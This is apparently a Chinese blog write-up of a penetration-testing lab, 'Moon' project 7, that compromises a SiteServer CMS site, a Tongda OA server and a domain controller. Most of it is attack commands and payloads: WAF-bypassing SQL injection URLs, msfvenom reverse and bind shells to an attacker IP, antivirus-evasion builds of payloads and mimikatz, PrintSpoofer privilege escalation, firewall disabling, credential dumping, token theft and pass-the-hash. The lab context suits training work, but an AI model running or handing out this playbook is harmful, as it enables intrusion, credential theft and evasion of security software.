暗月项目七-渗透测试带防御的内网域

descript

descript

渗透过程概述:

1、信息收集-->漏洞挖掘-->getshell

masscan 降低速度扫描端口,nmap详细扫描。先访问rebots.txt,得到siteserver目录,在编写目录扫描工具,搜索siteserver cms sql注入漏洞,获取管理员账号密码。或者密码找回漏洞(burp答案置空)获得密码。登陆后台,可通过 编辑文件(推荐)、上传模版、上传文件等功能getshell。

2、上线msf,PrintSpoofer1.exe 提权

其中 编辑文件,利用msfvenom 生成aspx payload,复制到文件并保存,然后访问该文件,msf获取session。getsystem提权。

或者上传模版 getshell,通过PrintSpoofer1.exe -i -c "r.exe" 提权 。(r.exe免杀处理)

3、内网渗透-->通达OA漏洞getshell-->上线msf-->控制dc

添加路由,设置代理,udp_sweep扫描内网,利用通达OA漏洞getshell,msf生成加密payload,掩日免杀payload,生成b.exe,蚁剑上传到OA主机,msf开启正向连接。

load kiwi ,creds_all ,hashdump,cmd5解密NTML哈希得到密码!@#QWEasd123。

steal_token 切换到域管理员权限,非系统权限。

生成免杀360的mimikatz,使用sekurlsa::pth /domain:attack /user:administrator /ntlm:a27156a11c9445385072376ed2715e92 未成功。

后续:有了 解密后的密码,远程登陆dc。

netsh advfirewall set allprofiles state off/on -----关闭防火墙

netsh advfirewall show allprofiles ----查看防火墙状态


1、信息收集

1.1 端口扫描

绑定hosts:192.168.1.114 www.moonlab.com

1.1.1 masscan 快速扫描端口

因为有安全狗,扫描速度降低到100

masscan -p 1-65535 --rate=100 192.168.1.114

1.1.2 nmap 扫描开放端口的详细信息

nmap -sC -sT -sV -A -O -Pn 192.168.1.114 -p 80,135,445,3389。。。

1.2 目录扫描

访问 http://www.moonlab.com/robots.txt 发现后台siteserver

descript

1.2.1 第一种方式:编写目录扫描工具 过安全狗cc拦截

目录扫描,过安全狗cc拦截
# coding=utf-8

import requests

import time

with open("big.txt", "r", encoding='utf-8') as reader:

for dir in reader.readlines():

url = "http://www.moonlab.com/"+dir.strip('\n')

result = requests.get(url)

strlen = len(result.text)

time.sleep(0.4)

if result.status_code == 200 or result.status_code == 301 or result.status_code == 403 or result == 500:

print(url)

with open('dir.log', 'a+', encoding='utf-8') as writer:

writer.write(url + ' ----'+str(result.status_code) +

'----len ------' + str(strlen)+'\n')

1.2.2 第二种方式:dirble 扫描目录,会被安全狗拦截

dirble.exe -u http://www.moonlab.com/ -w "wordlist.txt" -z 1 --code-whitelist 200

2、漏洞挖掘【siteserver cms sql注入漏洞】

2.1 sql注入漏洞POC验证

https://github.com/johnniesong/w9scan/blob/master/plugins/2739.py 参考

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe%27&UserNameCollection=test%27)%20and%20char(71)%2Bchar(65)%2Bchar(79)%2Bchar(74)%2Bchar(73)%2B@@version=2;%20--

【char字符编码的是: gaoji 解码后 等价于--》

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and char(71)+char(65)+char(79)+char(74)+char(73)+@@version=2; --

3、漏洞利用

3.1 sql注入漏洞exp,绕过安全狗,获取账号密码、盐

https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI 参考绕过安全狗

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=2; --

======失败。用取反运算符~2,成功拿到数据库名 moonlab======

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and db_name()=~2; --

-------------------------------------------------------------------

搜索得到 siteserver cms表结构。。。

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and (select top 1 username from [bairong_Administrator])=~2; --

失败,被安全狗拦截。尝试把~2放前面,成功绕过。

注意 表名需要[ ] 括号

http://www.moonlab.com/usercenter/platform/user.aspx?UnLock=sdfe'&UserNameCollection=test') and ~2=(select top 1 username from [bairong_Administrator]); --

descript

同理得到 Password 、PasswordSalt:

admin

64Cic1ERUP9n2OzxuKl9Tw==

LIywB/zHFDTuEA1LU53Opg==

3.2 第一种:反编译dll,解密Password

解密password
 public void DesDecrypt()

{

byte[] rgbIV = new byte[]

{

18,

52,

86,

120,

144,

171,

205,

239

};

byte[] array = new byte[this.InputString.Length];

try

{

byte[] bytes = Encoding.UTF8.GetBytes(this.DecryptKey.Substring(0, 8));

DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();

array = Convert.FromBase64String(this.InputString);

MemoryStream memoryStream = new MemoryStream();

if (!false)

{

}

CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, rgbIV), CryptoStreamMode.Write);

cryptoStream.Write(array, 0, array.Length);

cryptoStream.FlushFinalBlock();

Encoding encoding = new UTF8Encoding();

this.OutputString = encoding.GetString(memoryStream.ToArray());

}

catch (Exception ex)

{

// ex.Message;

}

}

3.3 第二种:后台登陆页,密码找回漏洞,获取密码

http://www.moonlab.com/siteserver/forgetPassword.aspx

把Answer置空,即可暴露密码。。。(全版本通杀)

descript

3.4 登录后台getshell

3.4.1 登录后台

http://www.moonlab.com/siteserver  admin  admin5566

3.4.2 getshell的4种方式

用 过狗菜刀、蚁剑连接

3.4.2.1 第一种:编辑站点文件 getshell (成功绕过安全狗和windows defender)

3.4.2.1.1 msf生成aspx shellcode,保存到站点 aspx文件

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f aspx > shell.aspx

descript

descript

3.4.2.1.2 访问 http://www.moonlab.com/T_xxx.aspx 成功上线msf

descript

3.4.2.2 第二种:上传模版,自动解压 getshell

导入一句话木马文件压缩包,上传后自动解压:

 http://www.moonlab.com/SiteFiles/SiteTemplates/c32as/c32as.aspx c32as

(过狗了,但被windows defender查杀了。)

descript

3.4.2.3 第三种:新建文件 getshell

站点管理 --》功能管理 --》站点文件管理

http://www.moonlab.com/1.aspx c32as (windows defender查杀)

descript

3.4.2.4 第四种:上传文件,被安全狗拦截

4、提权

【成功之后,尽快关闭防火墙及杀软等防护软件】

4.1 第一种:aspx shellcode getsystem 提权

访问 http://www.moonlab.com/T_xxx.aspx 成功上线msf,提权

descript

descript

4.2 第二种:PrintSpoofer1.exe 提权 windows server 2016

蚁剑上传PrintSpoofer1到Temp目录 (windows defender查杀 r.exe)

C:\Windows\Temp> PrintSpoofer1.exe -i -c "r.exe"

4.2.1 制作免杀后门,msf 生成加密payload

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -e x86/shikata_ga_nai -i 13 -f csharp > payload.txt

4.2.2 掩日生成免杀 r.exe

执行方式 选VirtualProtect 比较合适

descript

4.2.3 执行r.exe,上线msf

C:\Windows\Temp> PrintSpoofer1.exe -i -c "r.exe"

得到 系统权限

4.3 关闭杀软和防火墙

netsh advfirewall show allprofiles ----查看防火墙状态

netsh advfirewall set allprofiles state off / on ------关闭 / 打开 防火墙

4.4 收集hash明文

meterpreter > run post/windows/gather/enum_logged_on_users

meterpreter > load kiwi

meterpreter > creds_all

descript

descript

5、内网渗透

5.1 主机发现

5.1.1 添加路由

meterpreter > run post/multi/manage/autoroute

msf6 exploit(multi/handler) > route print

descript

5.1.2 第一种:msf6 exploit(multi/handler) > use auxiliary/scanner/discovery/udp_sweep

descript

5.1.2 第二种:meterpreter > arp

descript

5.2 设置代理

use auxiliary/server/socks5a
set SRVPORT 3333
run
vi /etc/proxychains.conf
socks5 192.168.0.122 3333

5.3 信息收集

5.3.1 端口扫描

proxychains masscan -p 1-65535 10.10.1.130 --rate=1000

proxychains nmap -sT -Pn 10.10.1.130 -p 135,445,80

5.3.2 收集通达OA漏洞信息

5.4 利用通达OA漏洞 getshell

5.4.1 利用tongda_exp.py在服务器上生成小马

proxychains python tongda_exp.py -H http://10.10.1.130 -file-shell

生成小马地址:

http://10.10.1.130/ispirit/interface/xiaoma.php cmd

5.4.2 蚁剑设置kali的代理,连接小马getshell

虚拟终端>whoami 得到系统权限,即OA是以系统权限启动的。

5.4.3 netsh advfirewall 命令关闭防火墙

netsh advfirewall set allprofiles state off

5.5 免杀360,上线msf,提权

5.5.1 msf 生成正向连接的加密payload

msfvenom -p windows/meterpreter/bind_tcp lport=12345 -e x86/shikata_ga_nai -i 13 -f csharp > payload2.txt

5.5.2 掩日生成后门b.exe,蚁剑上传执行后门

5.5.3 msf 正向连接到OA主机,得到system权限

descript

5.6 system 权限,获取管理员hash明文失败

load kiwi

creds_all -------获取不到密码

descript

5.7 steal_token 窃取域管理员令牌,获取域用户hash,并解密

descript

2b7ae0a2bdbccc47309952de3b2fe82c

解密NTML得到 !@#QWEasd123..

3f37aede0b8a007bbb1d26ba03f65595

descript

5.8 登陆远程桌面,关闭杀软和防火墙

proxychains rdesktop 10.10.1.130 !@#QWEasd123

6、横向移动【域控渗透】

6.1 添加路由,主机发现,信息收集

6.1.1 定位域控

meterpreter > run post/windows/gather/enum_domain

6.1.2 域信息收集

enum_ad_computers 域内 PC
enum_logged_on_users 登录的用户
enum_ad_groups 组信息

6.1.3 端口扫描

6.2 利用OA主机 meterpreter,访问dc磁盘文件

前提:steal_token 令牌窃取,切到域管理员权限

(meterpreter > rev2self 恢复到system权限)

(at 定时任务命令在2008以下好使。2016不好使。)

descript

6.3 mimikatz 登陆域控

6.3.1 mimikatz 免杀360

E:\web\bachang\moon\7\资料\Mimikatz-Csharp-master\README.md

descript

6.3.1.1 先生成 key.snk, powershell 分步执行上面3行内容

descript

6.3.1.2 利用key.snk,编译katz.cs,生成 regsvcs.dll

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.IO.Compression.dll /target:library /out:regsvcs.dll /keyfile:key.snk /unsafe katz.cs

6.3.1.3 上传 regsvcs.dll 到temp目录 并执行

c:\Windows\Temp>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe regsvcs.dll

descript

privilege::debug 提升权限

sekurlsa::msv 抓取hash

sekurlsa::LogonPasswords

后面似乎不对。。。(都拿不到,注意 要steal_token 切到域管理员权限,非系统权限)

descript

descript

6.3.2 pth 登陆域控

sekurlsa::pth /domian:要攻击的ip /user: 相同的用户名 /ntlm: NTLM哈希

sekurlsa::pth /domain:域控名 /user:相同的用户名 /ntlm:NTLM哈希

sekurlsa::pth /domain:attack /user:administrator /ntlm:a27156a11c9445385072376ed2715e92

descript

7、权限维持

8、痕迹清理

9、总结

posted @ 2023-03-23 13:43  hello_bao  阅读(1046)  评论(0)    收藏  举报